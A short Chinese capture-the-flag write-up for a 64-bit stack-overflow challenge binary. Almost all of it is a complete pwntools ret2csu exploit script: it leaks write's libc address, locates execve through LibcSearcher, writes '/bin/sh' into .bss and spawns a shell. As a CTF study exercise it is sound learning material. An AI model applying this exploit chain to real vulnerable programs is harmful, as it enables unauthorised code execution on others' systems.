# 查看程序

# 64 位程序,开启了 NX

有溢出漏洞, 变量为 char 型变量

没有后门函数, 那就 <font color=red> 去 libc 中找 execve 地址执行 </font>

偏移量为 136

write:write(1,输出地址,输出字节数)      
             write(1,write_got,8)                
read:read(0,写入地址,写入字节数)
             read(0,bss_base,16)

exp:

from pwn import *
from LibcSearcher import *
p=process("./pwn8")
e=ELF("./pwn8")
 
write=e.got["write"]
read=e.got["read"]
main=e.symbols["main"]
bss_base=e.bss()
 
csu1=0x000400606
csu2=0x0004005F0
 
def csu(rbx,rbp,r12,r13,r14,r15,last):
    
    payload=b'a'*136+p64(csu1)+b'a'*8+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(csu2) 
#加 8 个 a 是因为 csu1 里先执行 add rsp,8   ,意味着将栈变长了八字节,要填充才能到后面
    
    payload+=b'a'*56+p64(last)
    #56 是将 add rsp,8 以及之后的总共 7 行全覆盖掉 7*8,前面已经给 rdx,rsi,edi 赋值了,再改变也没有影响
 
    p.send(payload)    #不能用 sendline,会出错
    sleep(1)
 
p.recv()
 
csu(0,1,write,1,write,8,main)
 
write_really=u64(p.recv(8))
 
libc=LibcSearcher("write",write_really)
libc_base=write_really-libc.dump('write')
execve=libc_base+libc.dump('execve')
 
 
 
csu(0,1,read,0,bss_base,16,main)
p.sendline(p64(execve)+b'/bin/sh\x00')
p.recv()
 
csu(0,1,bss_base,bss_base+8,0,0,main)
#bss_base 相当于是 execve 的地址,bss_base+8 是到了 execve 的参数 "/bin/sh\x00"
 
 
p.interactive()

参考链接 ret2csu:http://t.csdn.cn/DIqYv